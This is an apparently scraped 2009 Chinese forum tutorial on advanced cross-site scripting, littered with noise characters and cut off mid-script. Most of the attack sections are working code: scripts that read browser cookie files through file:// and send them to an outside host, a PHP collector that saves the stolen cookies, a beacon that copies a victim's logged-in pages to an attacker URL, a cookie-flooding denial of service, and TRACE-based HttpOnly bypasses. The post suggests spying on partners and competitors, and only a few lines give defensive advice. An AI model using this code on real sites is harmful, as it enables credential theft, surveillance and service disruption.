XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
: [7 f' H$ X, ?0 p: j本帖最后由 racle 于 2009-5-30 09:19 编辑
- F7 h5 `7 x+ v! Q& E( J# p6 P
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
3 t8 K; K1 N& i7 t4 @. ABy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
0 R6 Z# ?4 H! q5 O转帖请保留版权


! {! u' F, z" Q0 ~$ [8 V- Y
( C% M6 r# Q. w( o# j-------------------------------------------前言---------------------------------------------------------

2 |4 F( c! C& k% {
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

1 T( U( q! z1 z% h9 D& y
如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 D( H9 ]5 ]! T) C$ Z: y: fhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
* |8 Y3 t! c  O3 n2 \( h. ohttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
+ E4 e7 X  a( b" ^http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
# l5 b: v0 |, k/ y7 shttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

' z+ \& U3 N4 ]2 c: `


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
7 w" S" ?4 |6 J' N5 P. m# Q/ h: T
: F8 j, z8 O6 k希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
" V6 N% o- R8 }) w
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

+ k4 e. g0 B! |' z, pBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
' C) b1 T+ D. m0 I9 n% }5 w
QQ ZONE,校内网XSS     感染过万QQ ZONE.
% t2 G4 E3 u$ @* _7 _
, P5 a4 B6 R. p' g8 c6 zOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
. |* e) M; ]" f% j
..........
% G- _" H0 V& q9 W' ?* |$ I. Z复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
: l" Z- ?# }5 |9 [
0 g- z& t- r6 t6 M/ U% C

3 k. ]! U& g9 z$ R! L2 a) R9 q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

3 O4 T' x7 L0 O/ m5 }. _- u; f# A( P
! d. @$ I# d6 M* B
: V7 w6 i7 ?* U如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 B$ m; b" o- @9 [5 L1 w3 A我们在这里重点探讨以下几个问题:

0 Q; T$ X4 M' g) q2 ]$ M1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
7 I0 \4 q! c/ h1 z
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
# X+ C0 m7 {- ?+ T! e  K: @) a


1 M6 W8 S+ ^1 O: N------------------------------------------研究正题----------------------------------------------------------
0 i/ ]1 Q8 U' s% y. V$ \1 A


* L5 h7 t& m  [. T通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
6 n' _4 k* k) ]0 w0 f( P复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
/ N! r, Y* Q0 H% d0 ^9 T# m* k" Q复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
" Y+ u( V# ?- T# _" s4:Http-only可以采用作为COOKIES保护方式之一.
" k! J: M4 X. B' Y: {; d/ }

  T3 J5 e$ [5 t
) d& e1 j# C( L' |
) }* M2 d4 {* U) B
" K! l0 x( \0 Z7 }(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
; `; m9 g+ ~- k1 S

0 s- H: `( S$ v6 i* `
5 H' X* p0 d3 u! w    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
9 c' C" c3 T, k' a, ]$ F
7 V1 R# @3 z0 h1 Q

6 T9 M* v' d. }) ]$ _* k+ D8 y8 {    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

2 v8 r4 ~1 h. X" [' J. |. P
9 q: M: z* j% q
0 k! f" v; ^; U% N. C$ m    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

4 w7 w7 H5 x1 `) [- V$ x; q
( w; f8 ?( G( a# j- B! Q
    function ajax_obj(){

: H* n0 h# E% B; p+ _: m5 u( H    var request = false;

    if(window.XMLHttpRequest) {
0 }) Y" A: l- J" {# G) ]' W0 J
+ {: V/ L' B6 s9 w' R* z% a    request = new XMLHttpRequest();

$ J4 s1 ^9 i/ H' j. b    } else if(window.ActiveXObject) {
$ j1 \/ Y. n! b! F+ {" Y  c  T5 Q
2 ?1 a& y& P3 F% V; n6 J    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

; M: d; i' W- h0 S& k

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 m5 ]3 D% o! E) l# ^0 J- `
# T" p* H' R1 s  [2 F    for(var i=0; i<versions.length; i++) {

2 h8 n, ]' f% S0 X    try {
( {+ R) o2 R+ z  k7 I0 g7 {- K
    request = new ActiveXObject(versions);

    } catch(e) {}
( x: p" `) a: P; j
8 r. T. U! m" p. {7 C/ B    }
; P' f3 j# C6 @, C. x8 Y" k
    }
2 z% b0 W& J7 x
    return request;
" R; w& f  f) b, a9 C# r& p
& F1 O9 M" N; _, @( I0 E    }
7 h( Z0 k4 x- A$ H# |
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
% o$ ^. p/ G5 d- j# N4 [$ Z3 L
    _x.open(_m,action,false);

* E3 l2 F; K6 u- q* b) F    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* z, p/ f: C2 o6 n8 z6 k( N
3 V1 {  K" V' E    _x.send(argv);

4 ?: d5 @+ d5 `# e1 A  {  N$ `    return _x.responseText;
, i( |3 e3 o2 W9 w$ @( Y
9 x1 z9 n5 F& \& `; l) A    }
2 f/ y' x* O( G* [3 Z0 Q. n


4 x/ }$ Z1 h- ?4 ?8 G    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
! H2 n( D- W. A6 Z
    alert(txt);
! e- u( O$ ?( x5 \% ~% B
% _8 N% y6 ]) _. ^* Y4 M$ n) p

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

- Y4 ^1 p1 K) n

2 o1 i7 _7 b! M" m1 R' o    function ajax_obj(){

$ z( ~$ O. m* s! U. o% `% j0 y4 \    var request = false;
3 `; E+ A7 C/ x5 ~  @. _) Q" Z' c
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

4 k  o$ h1 Z% H0 I% [    } else if(window.ActiveXObject) {
+ a' Y, U# l' U* G3 g* ^  o
( f# v* l  i; F& r7 N+ p    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


/ L4 H" G  A; r* {
7 C* l+ D% A0 v. B: j/ D! A    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 X. ?% R7 ]8 `5 t2 W6 p/ Q- ]1 t! u
- ]" ?" m% H, y! f    for(var i=0; i<versions.length; i++) {
" P& r3 ~7 b+ F1 h1 f5 o. n
' w+ D' S. T; |    try {
4 Q+ U9 z! Q: s# A2 a
4 L, G5 {! t! P) ~; F    request = new ActiveXObject(versions);
( J" t1 H, v; p9 U8 c. v6 w& [+ s
* M0 S( M- m$ c/ X$ y3 F    } catch(e) {}
# a2 ]8 E/ r  Q) j
    }
7 X) \, h; Q/ V6 _6 h
    }
, h5 a- N! E* ^; }  ?8 p* E" D
    return request;
# J+ e4 @7 |. `. n
8 w& a) t! g4 J( y% W5 U5 u    }
% w0 [% `" u8 U! e) j: K. C
- T+ g( y/ ]5 k/ {; G# }    var _x = ajax_obj();

/ @  F$ @0 s8 f8 R# k. v* v    function _7or3(_m,action,argv){
( L. O# G7 N- @# q. r
    _x.open(_m,action,false);
' |5 {1 R2 D/ X# m8 K5 m1 {+ ]
. x) s8 w0 M7 U    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
; X# q2 s/ ~$ @9 Y  n
    return _x.responseText;

    }
! [( ~0 k( q1 C
( @% G; b: n% Y6 `7 Y5 o
9 O$ I4 E5 F3 z- W! W
    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
; L+ _7 [$ D! ^' L, Q
8 P' y' y" E; T/ W
+ c2 |. O/ Y7 I$ o: [3 d* k0 s) x
4 F: z; q% d5 S  W- S) j5 E    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

; f$ o+ `; K: {( I5 E

0 h: U" R, g$ }1 y8 a! LChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
1 z& l/ K( b7 L1 X! g" o1 i
/ v1 f% b/ T9 M* ~2 E

<?   
  s$ \  |. r; o* y5 z( C
/*  
& M- h  s* N3 U  a
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
$ P, I, x$ g6 I
     www.inbreak.net   
; l1 v# y1 P. Q  ^6 M8 z$ x  F' z
9 G3 n( G' Z) T. q8 k) r6 r     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

. q) W" T, z9 Z/ i! f  Q*/  
7 `) ~2 B8 G) p, E
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
' P  ^& W8 l1 Y9 k$ m! w3 o9 d
/*  

     set header, so just download html file,and open it at local.  

" m0 w% ~4 F* B& }7 L*/  
  J0 U9 E4 i) Y; P# ]7 a
2 H+ ~4 w- [/ L* y+ y?>   

2 a* z1 p! W+ E6 e+ {2 h% U5 e<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

7 y% G0 V1 M% k</form>   

<script>   
( B  r; f6 g6 [1 a. f. C
function doMyAjax(user)   
$ \) I4 g4 u- M- p! Z5 r8 Q" i- A
& y" ]! V1 {! y" v8 V+ p8 H: @{   

var time = Math.random();   
( l% |7 F& f* g
+ P9 t0 J) K4 d( f; d# i/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
* H8 F5 s' j# p" C) y2 {
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

/ E* H; ~% G* p6 {, s; c; O- rand so on...  
" _! `; {& v: {  U1 B* Y. T% u, D
*/  
. K  j% `1 x2 Y* }4 w( j% i
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
; ~$ j) ?. R- X; c* f! A$ K4 w. N5 {
   

startRequest(strPer);   
. Q' l! _. n' N" H0 A1 K! U


}   
% P* N' J% E! l2 J8 p
7 ^8 ?4 N  C0 x) l5 N   

! k8 I+ l; Q% m8 v* l0 `function Enshellcode(txt)   

{   

var url=new String(txt);   
5 M5 o! q& v" A4 I
$ f. s+ T, d% c8 ^& Uvar i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   
; d- Z5 X% i% _6 U( ~
/ C% S3 f. ]* K5 k0 f! R* Gk=url.charCodeAt(i);   
- Y6 ^' x5 T) p# f
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

- x2 j0 L% T! J2 v9 Cif (l%2){curl+="00";}else{curl+="0000";}   
4 z  a- n( p& n. Z6 C, C: X
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
1 g% \6 `  m. L  G; W, B2 T
. W' a! B1 g, u6 j, ?return curl;   

5 |6 B% A* Y; P; j& j}   

+ ~! f+ g4 c- v" ~   

' W! D0 s! y8 x; [- g" o2 @. t   

3 b8 j; P0 B5 R" ?5 u3 O4 ^var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
' Y/ [6 K4 @* M' _
     }   

}   
' C+ [6 N+ U  n2 F- v4 M' ~
. R" p$ j9 J: ]6 F& w8 A% a   
$ T% n3 Z# ]6 I" o1 T- o2 B
! D8 R+ j3 k! m# f+ qfunction startRequest(doUrl){   
, I+ D( I( O; i# S& h* H
, h9 F4 |' P' Y& B7 V7 q& P8 G   
" A  d. ?* z% A6 u/ B2 Y
     createXMLHttp();   
6 `7 F5 [1 v! T/ L- a+ f; q% Z
$ ?5 G+ q/ [3 m
, L: ~& u/ S' u) ?& r# o% S7 a
     xmlHttp.onreadystatechange = handleStateChange;   
$ a5 R' @* F6 K: w" ~: Z" h* n
& C' l4 M+ W' ]/ O$ m2 U
- |/ @1 ~- {  ?5 V$ P% {4 Q
     xmlHttp.open("GET", doUrl, true);   

, i7 `7 [  c8 B% K% r

5 j: l) W2 Z  X( H; I; r6 l& w     xmlHttp.send(null);   
4 X' }8 k+ I7 ~. }4 ]/ C




}   

   
, @; \4 s0 k; [/ |) Y% ~. t7 @2 r
function handleStateChange(){   
# q5 C& d0 y. A" g0 {( ]
     if (xmlHttp.readyState == 4 ){   
5 H5 I- C6 G. J9 X& C
* ?; _' K% d) L% E( B1 N7 O! J$ _     var strResponse = "";   
6 m# j' ?; O" ]* X! |3 o# R
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
( y- W7 \2 l3 O( B; v) {
        
. S- f) K; \: W8 Z8 G. ^, r# P
     }   

}   
# [" Q! f, V2 I1 S6 m& `
6 z7 S3 A9 o; E; W! {. T   
/ H! g2 h- F, V: m
, J3 O3 X' R' H6 s% `   
. k) s/ J+ e% T1 M
9 S7 f  }6 X& nfunction framekxlzxPost(text)   
# s6 `2 a6 l% U2 V$ b7 J
+ ^& _1 D( l+ Z5 j7 B{   
1 ?2 z& F8 X- c8 b
2 _+ `1 m6 g9 ]' Q7 h     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
, `+ f5 y1 p( D- s: \2 v* S% Y
5 ?0 c) Y2 \" P}   
" x; ^( R1 p" S8 {9 p5 Y; G
   
: D* f- w! E# \( K) B7 B( \
doMyAjax("administrator");   

" A5 Z- |* K( v6 B9 @$ z/ C% G8 l   
8 f6 E6 A+ U1 O' }
</script>
9 z4 j5 q1 y/ B0 ~( _% A复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
' ^* h8 I8 R: Q; C2 S1 v2 K
var xmlHttp;  
- D/ j* Z. z( X* G: B  Q: Q4 I
function createXMLHttp(){  

2 ^" H3 ]* g. c6 K$ D8 H+ l     if(window.XMLHttpRequest){  
9 a8 T& U% U  S& z! C) ]
         xmlHttp = new XMLHttpRequest();         

9 c3 {% j+ l8 o% F. M: i0 c; ~     }  
& J  q7 a3 l6 u4 X- @9 |' Y4 s8 K
     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  

   

function startRequest(doUrl){  
+ t4 q( B4 |( d( _
! x3 R- T9 d- e/ }' ^/ b           

6 o- p9 T( k3 k) d! ^2 l5 C     createXMLHttp();  

$ P% C& v  J( O. k) V% U: f- j      
7 W7 E, @/ J; ?
5 o) a3 n- D. }  Q5 J. X     xmlHttp.onreadystatechange = handleStateChange;  

      
7 Y& h$ f# d, |; e
     xmlHttp.open("GET", doUrl, true);  

: B7 w; I! ~2 \      
9 l3 g6 H: T4 k$ o$ x( X
4 S+ w$ H: F3 c" a$ t2 L     xmlHttp.send(null);  

, |- w6 u) \$ L* {, N' n. f      

      

}   
0 P* a& |! @) |
. C+ ^3 K5 [( L: w   

9 h, t) I1 V7 N' c1 i* ?  ~function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
3 ^' B7 z' |- w) k5 e" H; S& L' R
9 w8 Y% m$ v0 [: d' O3 f             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
3 K# ~- q4 O5 L
& p0 b# j& z  L' S. n: H; k6 ?               

& N9 `% b; ^+ Q7 l! H  t1 ]     }  

* ]* ]; O/ C; L, E' {4 d4 O: p}  
% M4 C4 ~1 [$ ?
   

function doMyAjax(user,file)  

{  
: w! |. e+ j, i+ ~' Q! h, e
9 m, h; U& f2 D6 N. K  k         var time = Math.random();  
7 q: a3 |# K6 y: G+ V
           

7 ~6 l; n" v0 m) G) o         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
8 A/ Q* @8 v- u9 H
           
) @- E# E3 a6 B0 t5 O5 U3 z# ]2 F
1 M* k2 Z* U4 B. o! O4 n         startRequest(strPer);  
  {/ y4 B; ]) r; k+ V& P
7 d  y( A7 U4 L      
  N& F  W  p- [  v6 T% ]
: e. w2 _" L6 [! ^9 @% S}  
1 Z( G4 F* y) h1 L
   

$ c6 x; V1 \( e- m" I3 u, sfunction framekxlzxPost(text)  

5 \/ U/ h" ]0 r{  

0 c7 _/ A4 C4 _) z& z' P     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

, E$ q# T' ^3 W, H1 }) D     alert(/ok/);  

  c" B# I$ M% P: `# Z* D  H}  

   
; |% n" r3 i2 J* [
& J3 v7 D7 s$ TdoMyAjax('administrator','administrator@alibaba[1].txt');  
& D6 E8 m* |( c, i5 a% }2 k- p
   
8 I3 U2 S# }% D: x- E" K
2 Y- |$ ^7 E$ `7 @) R8 ?</script>
* I9 e8 j+ K$ N$ w" p3 }$ M
% O% Z2 x; U, u6 Y7 ^  |. g1 p

( L7 Z) f! g0 y1 U- q$ V
2 C! ?  \" k5 s# D8 n
a.php

* D8 V7 Q" d" _( w4 L6 j: q

0 j, d- c5 l0 G1 t4 L* U1 a<?php      
% k: B$ G6 h$ J3 u. a) u2 j
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
) w( E  Y3 |9 G+ B7 S6 W: m
9 w- L& I0 X/ X6 _0 K$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
% v  i  E) c& y" N! t- N( c  J9 c( h8 Y3 K
3 S$ m6 }/ l5 k, J/ G' Y: F3 s  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
& r5 N: p" g  j( H( [4 `
fwrite($fp,$_GET["cookie"]);      
7 c, g4 X% f5 V6 H2 m4 x
fclose($fp);   

: D& R2 J" |& O- w5 G( ]5 u?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
9 |8 i" j5 V3 r+ H9 `: l5 M6 |  U! e
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
) j& a" V& Z/ ^9 a9 o, a0 ?& i7 R利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
# i9 O0 V7 S  e4 R1 q+ M
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
8 K7 k( v8 {  e8 Y# l, N
9 h5 h6 F% n5 p: n) J5 ?, w  L; h8 |//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

) n1 g0 y) Q, g, P, P; Y//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

1 [- \  c; p. \4 ^  l5 D" Afunction getURL(s) {

var image = new Image();
$ D+ s4 b: e- H  B% u) J3 `+ X
, c0 T; ~# o9 ?8 B& L1 jimage.style.width = 0;
5 G) h1 T0 Q; D
" l* H$ E1 M7 iimage.style.height = 0;

image.src = s;

0 i+ f* T: @4 g; ]0 N8 j8 m}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
( C3 L6 U! j5 ]8 e( _6 ^$ B复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 P+ F0 I& W3 A- ?这里引用大风的一段简单代码:<script language="javascript">
' Q/ ^* U: M4 N% o( [
' Q0 j9 B7 W0 zvar metastr = "AAAAAAAAAA"; // 10 A

0 }1 @9 {4 O6 S5 m9 Avar str = "";
: e3 B, a; T- X) i/ r3 g% U6 O: U
) _! O3 M5 |9 twhile (str.length < 4000){

2 ~! P! C$ e# \6 p& \7 u: V    str += metastr;

0 @1 M/ X! k2 E0 G3 {}


& p# i9 _9 d6 A8 M$ y
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
8 l4 N, @, u" ?
</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
% s; b# }9 g' e9 Q6 `复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
9 @; h# E  S) @1 y, B9 P8 ^server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
- M: ~" E3 j, T% Y6 X
0 J, F+ [& M0 h1 D* Y0 L  |

# L! N1 q' r4 N% J  m


(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
' X; c5 Q+ N" t! r# b
<!--

! w8 ?" w* l4 l! [. Ffunction normalCookie() {
6 W+ N4 r+ O0 u: C. y$ v
document.cookie = "TheCookieName=CookieValue_httpOnly";

* {$ u% `' Z" \8 Palert(document.cookie);

}

/ V$ }! V0 U4 B

& u& |0 D0 B- Y5 N% }/ H

2 a! G( a! A1 G0 D! o7 Ffunction httpOnlyCookie() {

8 M, H9 c1 J8 F- t+ E, Idocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

" R; F4 v/ l5 \  w# c4 ~alert(document.cookie);}
6 `9 ~5 f! N! ], y" {
3 E. ~5 I! N' T6 A3 Z
, c. b; Y! Y. f
//-->
- L1 _% q! r; r( ?- Q4 W: p
3 w6 G; ?& @5 Z! g8 Y7 Q</script>



. v4 q) f8 V' P* y+ H" i<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

; M" F( T( W% u8 y) k
/ o: ^- t+ Y" F6 d- \8 f' [  y
7 a3 R! E* ?1 z7 q% v& Z; Bvar request = false;

        if(window.XMLHttpRequest) {

: }3 C% l& U% B2 i3 i. A% T  O            request = new XMLHttpRequest();
. }! A$ b3 Q) l- M
            if(request.overrideMimeType) {
/ I, F( L* a5 m* J
                request.overrideMimeType('text/xml');

            }
% V5 E  z6 ?: d7 y( f
  Y0 s" w+ d' R$ K4 k. S9 w* b        } else if(window.ActiveXObject) {

; m2 B, n9 Z6 k% d% M            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% N* G: i5 M: P7 k: m
( p9 P2 w9 \: ]4 ?9 }! C: E            for(var i=0; i<versions.length; i++) {

: I9 _" @4 {6 K  Y                try {

( h0 M% B. c7 d$ Q1 M9 `& H/ y                    request = new ActiveXObject(versions);

                } catch(e) {}

% B8 b. N' x: ^" T2 `+ W+ u5 x            }

        }
) W1 O+ P, t  t6 x! \
' S; Z5 z/ ^# V* \; N6 B& sxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
3 E" ^, X/ p) V
3 ^1 u1 V) ~; z/ {$ E. n, I, ealert(xmlDoc);

</script>
/ ?& m' w: x' j7 I复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

0 d% J; C( e. L. jXmlHttp.send(null);

var resource=xmlHttp.responseText

$ I0 }( v1 H; V1 i$ Nresource.search(/cookies/);
& q; L9 H. A# f# z9 i$ A
......................
* S% C& }) ~) w$ F
  a$ v. V; H5 J0 w</script>
$ _5 A) L+ Y3 P" v( ?
. B8 |" L/ b- [0 y' o



7 l: @" N3 a9 `; t8 l$ e如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
2 A" ]  b; K* }" K# u8 {& f
- Z' b0 q. n. S: T[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
! E" R7 R. X% }& b5 f
- n7 K( ?# }# d2 t! ^) |5 H$ q

& f/ D0 v# Y8 i! r3 p, aSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

+ G: g8 b6 i3 i. y$ K' d; Y7 P3 M! `5 uacl TRACE method TRACE

...
5 S, H! T9 K: g! l5 \" _4 v6 D6 }
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

# u0 z( z$ Q! CXmlHttp.open("GET","http://www.google.com",false);
( T8 B& k) D: G: U/ c7 P, b! i
